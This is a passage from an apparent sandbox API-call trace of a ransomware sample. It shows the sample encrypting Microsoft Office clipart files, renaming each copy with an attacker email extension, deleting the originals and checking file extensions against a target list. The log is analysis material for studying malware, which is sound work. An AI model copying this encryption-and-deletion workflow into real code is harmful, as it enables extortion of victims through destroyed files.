files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.257] GetLastError () returned 0x0 [0272.257] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1384, lpOverlapped=0x0) returned 1 [0272.547] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0272.800] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.800] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.800] SetEndOfFile (hFile=0x394) returned 1 [0272.929] CloseHandle (hObject=0x394) returned 1 [0272.931] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.931] SetEndOfFile (hFile=0x15c) returned 1 [0273.387] CloseHandle (hObject=0x15c) returned 1 [0273.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0273.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.468] lstrlenW (lpString=".doc") returned 4 [0273.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString=".docx") returned 5 [0273.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.468] lstrlenW (lpString=".pdf") returned 4 [0273.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString=".xls") returned 4 [0273.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.468] lstrlenW (lpString=".xlsx") returned 5 [0273.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.468] lstrlenW (lpString=".ppt") returned 4 [0273.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.469] lstrlenW (lpString=".zip") returned 4 [0273.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.469] lstrlenW (lpString=".rar") returned 4 [0273.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".bz2") returned 4 [0273.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".7z") returned 3 [0273.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.469] lstrlenW (lpString=".dbf") returned 4 [0273.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.469] lstrlenW (lpString=".1cd") returned 4 [0273.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.469] lstrlenW (lpString=".jpg") returned 4 [0273.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.470] lstrlenW (lpString=".doc") returned 4 [0273.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString=".docx") returned 5 [0273.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.470] lstrlenW (lpString=".pdf") returned 4 [0273.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString=".xls") returned 4 [0273.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.470] lstrlenW (lpString=".xlsx") returned 5 [0273.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.471] lstrlenW (lpString=".ppt") returned 4 [0273.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.471] lstrlenW (lpString=".zip") returned 4 [0273.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.471] lstrlenW (lpString=".rar") returned 4 [0273.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.471] lstrlenW (lpString=".bz2") returned 4 [0273.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.471] lstrlenW (lpString=".7z") returned 3 [0273.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.471] lstrlenW (lpString=".dbf") returned 4 [0273.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.472] lstrlenW (lpString=".1cd") returned 4 [0273.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0273.472] lstrlenW (lpString=".jpg") returned 4 [0273.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.473] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.473] lstrlenW (lpString="BD05119_.WMF") returned 12 [0273.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0273.474] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=17236) returned 1 [0273.474] CloseHandle (hObject=0x15c) returned 1 [0273.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0273.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0273.475] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.475] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.476] GetLastError () returned 0x0 [0273.476] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x4354, lpOverlapped=0x0) returned 1 [0273.864] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0273.875] ReadFile (in: hFile=0x15c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.875] WriteFile (in: hFile=0x3cc, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.875] SetEndOfFile (hFile=0x3cc) returned 1 [0273.876] CloseHandle (hObject=0x3cc) returned 1 [0273.877] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.877] SetEndOfFile (hFile=0x15c) returned 1 [0273.885] CloseHandle (hObject=0x15c) returned 1 [0273.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.887] lstrlenW (lpString=".doc") returned 4 [0273.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.888] lstrlenW (lpString=".docx") returned 5 [0273.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.888] lstrlenW (lpString=".pdf") returned 4 [0273.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.888] lstrlenW (lpString=".xls") returned 4 [0273.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.888] lstrlenW (lpString=".xlsx") returned 5 [0273.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.888] lstrlenW (lpString=".ppt") returned 4 [0273.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.888] lstrlenW (lpString=".zip") returned 4 [0273.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.888] lstrlenW (lpString=".rar") returned 4 [0273.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.889] lstrlenW (lpString=".bz2") returned 4 [0273.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.889] lstrlenW (lpString=".7z") returned 3 [0273.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.889] lstrlenW (lpString=".dbf") returned 4 [0273.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.889] lstrlenW (lpString=".1cd") returned 4 [0273.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.889] lstrlenW (lpString=".jpg") returned 4 [0273.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.890] lstrlenW (lpString=".doc") returned 4 [0273.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString=".docx") returned 5 [0273.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.890] lstrlenW (lpString=".pdf") returned 4 [0273.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString=".xls") returned 4 [0273.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.890] lstrlenW (lpString=".xlsx") returned 5 [0273.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.890] lstrlenW (lpString=".ppt") returned 4 [0273.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.891] lstrlenW (lpString=".zip") returned 4 [0273.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.891] lstrlenW (lpString=".rar") returned 4 [0273.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.891] lstrlenW (lpString=".bz2") returned 4 [0273.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.891] lstrlenW (lpString=".7z") returned 3 [0273.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.891] lstrlenW (lpString=".dbf") returned 4 [0273.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.891] lstrlenW (lpString=".1cd") returned 4 [0273.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0273.892] lstrlenW (lpString=".jpg") returned 4 [0273.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.892] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.892] lstrlenW (lpString="BD07761_.WMF") returned 12 [0273.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0273.932] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=26748) returned 1 [0273.932] CloseHandle (hObject=0x3bc) returned 1 [0273.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0273.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0273.954] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.954] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.955] GetLastError () returned 0x0 [0273.955] ReadFile (in: hFile=0x164, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x687c, lpOverlapped=0x0) returned 1 [0274.059] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0274.064] ReadFile (in: hFile=0x164, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.064] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.065] SetEndOfFile (hFile=0x3b4) returned 1 [0274.065] CloseHandle (hObject=0x3b4) returned 1 [0274.077] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.077] SetEndOfFile (hFile=0x164) returned 1 [0274.294] CloseHandle (hObject=0x164) returned 1 [0274.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0274.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.617] lstrlenW (lpString=".doc") returned 4 [0274.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.617] lstrlenW (lpString=".docx") returned 5 [0274.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.617] lstrlenW (lpString=".pdf") returned 4 [0274.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.617] lstrlenW (lpString=".xls") returned 4 [0274.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.617] lstrlenW (lpString=".xlsx") returned 5 [0274.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.617] lstrlenW (lpString=".ppt") returned 4 [0274.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.618] lstrlenW (lpString=".zip") returned 4 [0274.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.618] lstrlenW (lpString=".rar") returned 4 [0274.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.618] lstrlenW (lpString=".bz2") returned 4 [0274.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.618] lstrlenW (lpString=".7z") returned 3 [0274.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.618] lstrlenW (lpString=".dbf") returned 4 [0274.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.618] lstrlenW (lpString=".1cd") returned 4 [0274.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.619] lstrlenW (lpString=".jpg") returned 4 [0274.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.619] lstrlenW (lpString=".doc") returned 4 [0274.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.619] lstrlenW (lpString=".docx") returned 5 [0274.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.619] lstrlenW (lpString=".pdf") returned 4 [0274.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.619] lstrlenW (lpString=".xls") returned 4 [0274.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.620] lstrlenW (lpString=".xlsx") returned 5 [0274.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.620] lstrlenW (lpString=".ppt") returned 4 [0274.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.620] lstrlenW (lpString=".zip") returned 4 [0274.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.620] lstrlenW (lpString=".rar") returned 4 [0274.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString=".bz2") returned 4 [0274.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString=".7z") returned 3 [0274.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.621] lstrlenW (lpString=".dbf") returned 4 [0274.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.621] lstrlenW (lpString=".1cd") returned 4 [0274.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0274.621] lstrlenW (lpString=".jpg") returned 4 [0274.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.622] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.622] lstrlenW (lpString="BD08758_.WMF") returned 12 [0274.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.622] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=24320) returned 1 [0274.623] CloseHandle (hObject=0x394) returned 1 [0274.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0274.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.624] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.624] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0274.625] GetLastError () returned 0x0 [0274.625] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0274.806] WriteFile (in: hFile=0x3b8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, 